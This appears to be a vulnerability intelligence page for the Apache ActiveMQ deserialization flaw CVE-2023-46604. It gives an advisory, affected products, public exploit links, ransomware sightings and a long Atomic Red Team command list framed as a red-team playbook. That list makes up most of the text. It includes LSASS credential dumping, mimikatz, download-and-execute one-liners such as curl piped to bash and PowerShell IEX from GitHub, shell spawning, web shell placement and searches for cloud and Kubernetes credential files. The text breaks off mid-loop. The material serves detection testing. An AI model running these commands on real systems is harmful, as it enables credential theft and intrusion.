CVE-2023-46604
Overview
This vulnerability is a deserialization flaw in the Java OpenWire protocol marshaller used by Apache ActiveMQ. It arises from improper validation of serialized class types within OpenWire messages, allowing arbitrary class instantiation on the classpath. The affected component is the OpenWire protocol handler in both Java-based ActiveMQ brokers and clients.
Vulnerability Description
The Java OpenWire protocol marshaller is vulnerable to Remote Code Execution. This vulnerability may allow a remote attacker with network access to either a Java-based OpenWire broker or client to run arbitrary shell commands by manipulating serialized class types in the OpenWire protocol to cause either the client or the broker (respectively) to instantiate any class on the classpath. Users are recommended to upgrade both brokers and clients to version 5.15.16, 5.16.7, 5.17.6, or 5.18.3 which fixes this issue.
Impact
An unauthenticated attacker with network access to an Apache ActiveMQ broker or client can execute arbitrary shell commands remotely. This enables full compromise of the broker or client host, including unauthorized code execution and potential lateral movement within the environment. No prior authentication or user interaction is required, making exploitation straightforward in exposed network configurations. The breach can lead to data exfiltration, service disruption, and control over messaging infrastructure.
Solution
Users must upgrade Apache ActiveMQ brokers and clients to versions 5.15.16, 5.16.7, 5.17.6, or 5.18.3 where this vulnerability is resolved. Detailed patch instructions and advisories are available at the official Apache ActiveMQ security advisory page: https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt. No alternative mitigations are officially recommended beyond applying these updates promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apache | Activemq | All |
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq | All |
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq | All |
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq | All |
cpe:2.3:a:apache:activemq:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq Legacy Openwire Module | All |
cpe:2.3:a:apache:activemq_legacy_openwire_module:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq Legacy Openwire Module | All |
cpe:2.3:a:apache:activemq_legacy_openwire_module:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq Legacy Openwire Module | All |
cpe:2.3:a:apache:activemq_legacy_openwire_module:*:*:*:*:*:*:*:*
|
|
|
Apache | Activemq Legacy Openwire Module | All |
cpe:2.3:a:apache:activemq_legacy_openwire_module:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
|
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Netapp | E-Series Santricity Unified Manager | N/A |
cpe:2.3:a:netapp:e-series_santricity_unified_manager:-:*:*:*:*:*:*:*
|
|
|
Netapp | E-Series Santricity Web Services Proxy | N/A |
cpe:2.3:a:netapp:e-series_santricity_web_services_proxy:-:*:*:*:*:*:*:*
|
|
|
Netapp | Santricity Storage Plugin | N/A |
cpe:2.3:a:netapp:santricity_storage_plugin:-:*:*:*:*:vcenter:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Apache ActiveMQ Unauthenticated Remote Code Execution
exploits/multi/misc/apache_activemq_rce_cve_2023_46604
|
X1r0z, sfewer-r7 | Unknown | - | View |
GitHub PoCs (42)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
Achieving a Reverse Shell Exploit for Apache ActiveMQ (CVE_2023-46604)
|
SaumyajeetDas | 126 | 40 | 2023-11-03 | View |
|
Catherines77/ActiveMQ-EXPtools
Apache ActiveMQ漏洞综合利用工具(CVE-2015-5254,CVE-2016-3088,CVE-2022-41678,CVE-2023-46604,CVE-2024-32114,CVE-2026-34197,CVE-2026...
|
Catherines77 | 83 | 8 | 2026-04-20 | View |
|
ImuSpirit/ActiveMQ_RCE_Pro_Max
CVE-2023-46604
|
ImuSpirit | 63 | 2 | 2023-10-27 | View |
|
evkl1d/CVE-2023-46604
|
evkl1d | 41 | 12 | 2023-11-04 | View |
|
Arlenhiack/ActiveMQ-RCE-Exploit
ActiveMQ RCE (CVE-2023-46604) 回显利用工具
|
Arlenhiack | 44 | 4 | 2024-03-05 | View |
|
trganda/ActiveMQ-RCE
CVE-2023-46604
|
trganda | 28 | 6 | 2023-10-26 | View |
|
duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell
This script leverages CVE-2023046604 (Apache ActiveMQ) to generate a pseudo shell. The vulnerability allows for remote c...
|
duck-sec | 19 | 6 | 2023-11-12 | View |
|
vulncheck-oss/cve-2023-46604
A go-exploit for Apache ActiveMQ CVE-2023-46604
|
vulncheck-oss | 4 | 1 | 2024-04-17 | View |
|
justdoit-cai/CVE-2023-46604-Apache-ActiveMQ-RCE-exp
CVE-2023-46604 Apache ActiveMQ RCE exp 基于python
|
justdoit-cai | 5 | 0 | 2023-11-08 | View |
|
NKeshawarz/CVE-2023-46604-RCE
|
NKeshawarz | 4 | 0 | 2023-11-18 | View |
|
mrpentst/CVE-2023-46604
Exploit for CVE-2023-46604
|
mrpentst | 2 | 2 | 2023-12-09 | View |
|
h3x3h0g/ActiveMQ-RCE-CVE-2023-46604-Write-up
|
h3x3h0g | 3 | 0 | 2023-11-09 | View |
|
RockyDesigne/SSP-Assignment-3-RCEYouLater
A PoC for CVE-2023-46604 written as part of SPS class for the Advanced Cyber Security master's at UPB.
|
RockyDesigne | 2 | 0 | 2026-01-04 | View |
|
stegano5/ExploitScript-CVE-2023-46604
|
stegano5 | 1 | 1 | 2024-02-14 | View |
|
pulentoski/CVE-2023-46604
El script explota una vulnerabilidad de deserialización insegura en Apache ActiveMQ (CVE-2023-46604)
|
pulentoski | 1 | 1 | 2024-05-31 | View |
|
vaishnavucv/Project-Vuln-Detection-N-Mitigation_101
Vulnerability Detection and Mitigation Apache ActiveMQ | Security Architectures and Systems Administration - on - Apache...
|
vaishnavucv | 1 | 1 | 2025-09-08 | View |
|
LiritoShawshark/CVE-2023-46604_ActiveMQ_RCE_Recurrence
CVE-2023-46604环境复现包
|
LiritoShawshark | 2 | 0 | 2023-11-16 | View |
|
dcm2406/CVE-Lab
Instructions for exploiting vulnerabilities CVE-2021-44228 and CVE-2023-46604
|
dcm2406 | 2 | 0 | 2023-12-07 | View |
|
CrackerCat/ActiveMQ_RCE_Pro_Max
CVE-2023-46604
|
CrackerCat | 0 | 1 | 2023-11-20 | View |
|
skrkcb2/CVE-2023-46604
|
skrkcb2 | 1 | 0 | 2025-02-27 | View |
|
minhangxiaohui/ActiveMQ_CVE-2023-46604
PY
|
minhangxiaohui | 1 | 0 | 2023-11-20 | View |
|
CyberCTF/vulhub-activemq-cve-2023-46604
Vulhub activemq/CVE-2023-46604: ActiveMQ 5.17.3 OpenWire RCE, run with Isoloom
|
CyberCTF | 0 | 0 | 2026-10-08 | View |
|
Bhanunamikaze/ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
|
Bhanunamikaze | 0 | 0 | 2026-09-01 | View |
|
stefanotractor/activemq-cve-2023-46604-lab
|
stefanotractor | 0 | 0 | 2026-08-19 | View |
|
aelshimony-cloud/OpenWire-CVE-2023-46604-Investigation
|
aelshimony-cloud | 0 | 0 | 2026-06-20 | View |
|
REGGYRAIDER/CVE-2023-46604-RCE
CVE-2023-46604-RCE exploit with Linux reverse shell payload
|
REGGYRAIDER | 0 | 0 | 2026-06-06 | View |
|
trnguyen03/activemq-ids-ips-lab
IDS/IPS lab for detecting and preventing Apache ActiveMQ RCE (CVE-2023-46604) using GVM, Nmap, Snort, iptables, and UFW.
|
trnguyen03 | 0 | 0 | 2026-05-02 | View |
|
KlaasStessens/CVE-2023-46604
Exploitation of CVE-2023-44604. Using a Kali Linux VM (attacker) and a Debian 11 server VM (victim)
|
KlaasStessens | 0 | 0 | 2026-05-01 | View |
|
Navya240/intel471-threat-hunting-cve-2023-46604
My first hands-on Intel 471 threat hunting workshop experience investigating CVE-2023-46604 using Elastic SIEM, vulnerab...
|
Navya240 | 0 | 0 | 2026-04-30 | View |
|
vjayant93/CVE-2023-46604-POC
POC repo for CVE-2023-46604
|
vjayant93 | 0 | 0 | 2023-11-15 | View |
|
nitzanoligo/CVE-2023-46604-demo
|
nitzanoligo | 0 | 0 | 2023-11-20 | View |
|
dcm2406/CVE-2023-46604
|
dcm2406 | 0 | 0 | 2023-12-16 | View |
|
Mudoleto/Broker_ApacheMQ
CVE-2023-46604 - ApacheMQ Version 5.15.5 Vulnerability Machine: Broker
|
Mudoleto | 0 | 0 | 2023-12-23 | View |
|
tomasmussi/activemq-cve-2023-46604
Repository to exploit CVE-2023-46604 reported for ActiveMQ
|
tomasmussi | 0 | 0 | 2023-12-30 | View |
|
thinkycx/activemq-rce-cve-2023-46604
activemq-rce-cve-2023-46604
|
thinkycx | 0 | 0 | 2024-04-26 | View |
|
cuanh2333/CVE-2023-46604
|
cuanh2333 | 0 | 0 | 2024-10-16 | View |
|
CCIEVoice2009/CVE-2023-46604
|
CCIEVoice2009 | 0 | 0 | 2025-05-04 | View |
|
pavanaa4k/CVE-2023-46604-LAB
Detection, Exploit and Mitigation for CVE 2023 46604.
|
pavanaa4k | 0 | 0 | 2025-11-15 | View |
|
sangrok-jeon/CVE-2023-46604-Analysis
Apache ActiveMQ OpenWire 역직렬화 RCE 취약점 기술 분석
|
sangrok-jeon | 0 | 0 | 2026-03-15 | View |
|
mkdemir/activemq-lockbit-analysis
Apache ActiveMQ (CVE-2023-46604) zafiyetinden LockBit ransomware aşamasına uzanan 419 saatlik sızma vakasının uçtan uca ...
|
mkdemir | 0 | 0 | 2026-03-30 | View |
|
hh-hunter/cve-2023-46604
|
hh-hunter | 0 | 0 | 2024-01-09 | View |
|
mranv/honeypot.rs
CVE-2023-46604 (Apache ActiveMQ RCE Vulnerability) and focused on getting Indicators of Compromise.
|
mranv | 0 | 0 | 2024-05-29 | View |
Ransomware Groups 6
Threat Feed
46 eventsSighting activity recorded
Sighting activity recorded
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Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (652 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
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Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1613 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 263 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
60%
|
Medium | High |
Red Team Playbook
123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
